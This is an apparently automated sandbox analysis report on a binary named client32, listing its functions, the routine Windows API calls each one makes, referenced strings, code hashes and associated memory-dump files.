Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileWrite$ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: <HTML%s><Body><title>Approved URLs</title><body bgcolor="#FFFFFF"><div align="center"> <center><table > <td><div align="center"> <center><table border="1" cellspacing="0" cellpadding="3" bgcolor="#FFFFFF" bordercolor="#6089B7">$<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >$IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 863766397-389219706
Opcode ID: 9e9794c30a950b6e2cb783daf9e85ace39663e75e43504d603bff2f617f2da35
Instruction ID: e7c1a3c1adf9e1d7e61797cbaf1f46547dfa3f2c2d8ebb091e29c5d978d26bd4
Opcode Fuzzy Hash: 9e9794c30a950b6e2cb783daf9e85ace39663e75e43504d603bff2f617f2da35
Instruction Fuzzy Hash: 07214C79A40219ABDB00DFD5DD51FEEF3B8FF58618F100259E925B3680EA746904CBA4

Function 110055F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 62windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(00000000,?), ref: 1100562D
BeginPaint.USER32(?,?), ref: 11005638
BitBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,00CC0020), ref: 1100565A
EndPaint.USER32(?,?), ref: 1100567F

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11005613
m_hWnd, xrefs: 11005618

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Paint$BeginClientErrorExitLastMessageProcessRectwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1216912278-2830328467
Opcode ID: 0792636c57d639f49c8e83cb971f2d9e9162808fd11bc23f2160297ffd227894
Instruction ID: f5aa4065951b5eb8c3932a4188ea608e1f62d63a97b0738e2bbaddb10e89198b
Opcode Fuzzy Hash: 0792636c57d639f49c8e83cb971f2d9e9162808fd11bc23f2160297ffd227894
Instruction Fuzzy Hash: C1119E75B40218BFE714DBA0CC85FBEB3BCEB88B19F104129F52696180EA71BD04CB64

Function 110B9000 Relevance: 10.6, APIs: 7, Instructions: 58COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(76967AA0,?,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC), ref: 110B9017
GetCursorPos.USER32(110BFEBC), ref: 110B9026

Part of subcall function 1115E6F0: GetWindowRect.USER32(?,?), ref: 1115E70C

PtInRect.USER32(110BFEBC,110BFEBC,110BFEBC), ref: 110B9044
ClientToScreen.USER32(?,110BFEBC), ref: 110B9066
SetCursorPos.USER32(110BFEBC,110BFEBC,?,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC), ref: 110B9074
LoadCursorA.USER32(00000000,00007F00), ref: 110B9081
SetCursor.USER32(00000000,?,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC), ref: 110B9088

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Cursor$RectWindow$ClientForegroundLoadScreen
String ID:
API String ID: 3235510773-0
Opcode ID: 49be05b7fef80b05594cc908f0611ebf12c6680a206dc75da7e7ca7dce7ec318
Instruction ID: ad301b5eb86ee9d8d5bbe419ceb9c49b4424cf1b2c79503272c3df1ff599c8d2
Opcode Fuzzy Hash: 49be05b7fef80b05594cc908f0611ebf12c6680a206dc75da7e7ca7dce7ec318
Instruction Fuzzy Hash: 8C112EB5E1421A9FCB08DFB4C884DBFF7B8FB84305B108669E52297244DB34E905CBA4

Function 1100B270 Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(?), ref: 1100B280
EnterCriticalSection.KERNEL32(?,?,1100BE6B,?,00000000,00000002), ref: 1100B2B9
EnterCriticalSection.KERNEL32(?,?,1100BE6B,?,00000000,00000002), ref: 1100B2D8

Part of subcall function 1100A1D0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?), ref: 1100A1EE
Part of subcall function 1100A1D0: DeviceIoControl.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?), ref: 1100A218
Part of subcall function 1100A1D0: GetLastError.KERNEL32 ref: 1100A220
Part of subcall function 1100A1D0: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1100A234
Part of subcall function 1100A1D0: CloseHandle.KERNEL32(00000000), ref: 1100A23B

waveOutUnprepareHeader.WINMM(00000000,?,00000020,?,1100BE6B,?,00000000,00000002), ref: 1100B2E8
LeaveCriticalSection.KERNEL32(?,?,1100BE6B,?,00000000,00000002), ref: 1100B2EF
_free.LIBCMT ref: 1100B2F8
_free.LIBCMT ref: 1100B2FE

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter_free$CloseControlCreateDecrementDeviceErrorEventHandleHeaderInterlockedLastLeaveObjectSingleUnprepareWaitwave
String ID:
API String ID: 705253285-0
Opcode ID: 79ddf153cfec84683290dd42533ea7b8c8eeaab96dddec7867e8baf6a8b692f2
Instruction ID: 1708c8f2d16fe6171f6400e7ced1c046c931d624ac1b1599b235a4591b72ed62
Opcode Fuzzy Hash: 79ddf153cfec84683290dd42533ea7b8c8eeaab96dddec7867e8baf6a8b692f2
Instruction Fuzzy Hash: 06117075904719ABE711CE70CC88BEFB3ECEB48399F000529FA6656144D774B545CB61

Function 1101D0F0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41registrywindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101D0FE
LoadIconA.USER32(00000000,0000139A), ref: 1101D14F
LoadCursorA.USER32(00000000,00007F00), ref: 1101D15F
RegisterClassExA.USER32(00000030), ref: 1101D181
GetLastError.KERNEL32 ref: 1101D187

Strings

0, xrefs: 1101D10C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Load$ClassCursorErrorIconLastRegister_memset
String ID: 0
API String ID: 430917334-4108050209
Opcode ID: a999cde5bf51422c53d54c5e2b81da0a739011e508cf178ac43a94cfc9df5e13
Instruction ID: 594e7871e039520b7580a936d726e641a3743c14917196a6b4ce4aa29f199296
Opcode Fuzzy Hash: a999cde5bf51422c53d54c5e2b81da0a739011e508cf178ac43a94cfc9df5e13
Instruction Fuzzy Hash: 9C018C74C1431DABEF00EFF0C899BDEFBB8AB04708F104029E521BA284E7BA51048F95

Function 1116B688 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,111DBF48,00000008,1116B790,00000000,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 1116B699
__lock.LIBCMT ref: 1116B6CD

Part of subcall function 1117373C: __mtinitlocknum.LIBCMT ref: 11173752
Part of subcall function 1117373C: __amsg_exit.LIBCMT ref: 1117375E
Part of subcall function 1117373C: EnterCriticalSection.KERNEL32(?,?,?,1116B6D2,0000000D), ref: 11173766

InterlockedIncrement.KERNEL32(111EBF10), ref: 1116B6DA
__lock.LIBCMT ref: 1116B6EE
___addlocaleref.LIBCMT ref: 1116B70C

Strings

KERNEL32.DLL, xrefs: 1116B694

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 87162a8c49996136f8a0ae1cfe0992c9c5a4266f29b3674cdc2095790c055c9d
Instruction ID: cda3870b418bc819597441e6b87b0a154faa6cd107fe7f3bb1ce7a7edf09897d
Opcode Fuzzy Hash: 87162a8c49996136f8a0ae1cfe0992c9c5a4266f29b3674cdc2095790c055c9d
Instruction Fuzzy Hash: F5018B79504B069EE3208FB9D84534AFBE4BF54328F10890ED4E6563A0CBB6B650CF15

Function 11003310 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFD), ref: 1100331D
GetSubMenu.USER32(00000000,00000000), ref: 11003343
DestroyMenu.USER32(00000000), ref: 11003372

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

hSub, xrefs: 11003359
..\CTL32\annotate.cpp, xrefs: 1100332E, 11003354
hMenu, xrefs: 11003333

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: e42f28694fc46f4086300125048bfedf8bbbd82d4e050df1718e76ccc8693524
Instruction ID: e80103f9713123d07a9bceb05cb6f887813353322251b2c4d1aa2998eabbc516
Opcode Fuzzy Hash: e42f28694fc46f4086300125048bfedf8bbbd82d4e050df1718e76ccc8693524
Instruction Fuzzy Hash: E5F0A73EF9466933D31666F53D1AF4BAB485B815ACB060031F524EA740EE14B4018166

Function 11003400 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EF1), ref: 1100340D
GetSubMenu.USER32(00000000,00000000), ref: 11003433
DestroyMenu.USER32(00000000), ref: 11003462

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

hSub, xrefs: 11003449
..\CTL32\annotate.cpp, xrefs: 1100341E, 11003444
hMenu, xrefs: 11003423

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: 48493cce30601763742937afdd0ab3a303765702da106f2b8b4616729fed6b55
Instruction ID: 88206e02f8a09737ee9bbd44e9773f646cd5feb9df9992a5a18ccf1b1c6cf3de
Opcode Fuzzy Hash: 48493cce30601763742937afdd0ab3a303765702da106f2b8b4616729fed6b55
Instruction Fuzzy Hash: 0AF0A73EE946A923D31266F53C09F4BAA484B815ACF470031F928BEA41ED14B40181AA

Function 110B9950 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35threadwindowCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 110B9957
UpdateWindow.USER32(?), ref: 110B999C
GetCurrentThreadId.KERNEL32 ref: 110B99AF
PostThreadMessageA.USER32(00000000,?,110BFD1E,00000000), ref: 110B99B6

Part of subcall function 1115AF30: BringWindowToTop.USER32(00000000), ref: 1115AF4F

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110B9986
m_hWnd, xrefs: 110B998B

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Thread$ActiveBringCurrentMessagePostUpdate
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3644473228-2830328467
Opcode ID: 32f23cde9d6ed86436bb722db99f99fd9b4d34dc6e055595a082df120733365c
Instruction ID: 160a8c263036174f3a06b351e25fa39776d9e3419cc3da19cf50323da28d6aee
Opcode Fuzzy Hash: 32f23cde9d6ed86436bb722db99f99fd9b4d34dc6e055595a082df120733365c
Instruction Fuzzy Hash: D9F0C2756507159BD320DBA5DC89F8AF3F4BB44318F004928F222DB5C0C7B0B4048B90

Function 1115F640 Relevance: 10.5, APIs: 7, Instructions: 33COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 1115F636
_free.LIBCMT ref: 1115F64B

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

_free.LIBCMT ref: 1115F654
_free.LIBCMT ref: 1115F65D
_free.LIBCMT ref: 1115F666
_free.LIBCMT ref: 1115F66F
InterlockedDecrement.KERNEL32(111EB0C0), ref: 1115F67C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$DecrementDeleteErrorFreeHeapInterlockedLastObject
String ID:
API String ID: 354521468-0
Opcode ID: 5fd69fe185bfdf14846da3b8fb65dc386c05d21111fa9652539bbad59113f25c
Instruction ID: 4c42a85c9acf0e90f0463cd1b2829a5c81afa7e4bb4e6f88478351abcbf2859f
Opcode Fuzzy Hash: 5fd69fe185bfdf14846da3b8fb65dc386c05d21111fa9652539bbad59113f25c
Instruction Fuzzy Hash: 1BF08C7A504716ABCA24AFF5DC84C97F7ACEF0C29C3004A08F5A287504DA72F811CBB9

Function 11147110 Relevance: 9.0, APIs: 6, Instructions: 48threadsynchronizationCOMMON

Download Yara Rule

APIs

OpenThread.KERNEL32(0000004A,00000000,11147278,?,?,?,?,?,11147278), ref: 1114713A
CreateThread.KERNEL32(00000000,00001000,111470B0,?,00000000,?), ref: 1114715E
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,11147278), ref: 11147169
GetExitCodeThread.KERNEL32(00000000,00000000,?,?,?,?,?,?,11147278), ref: 11147174
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,11147278), ref: 11147181
CloseHandle.KERNEL32(?,?,?,?,?,?,?,11147278), ref: 11147187

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

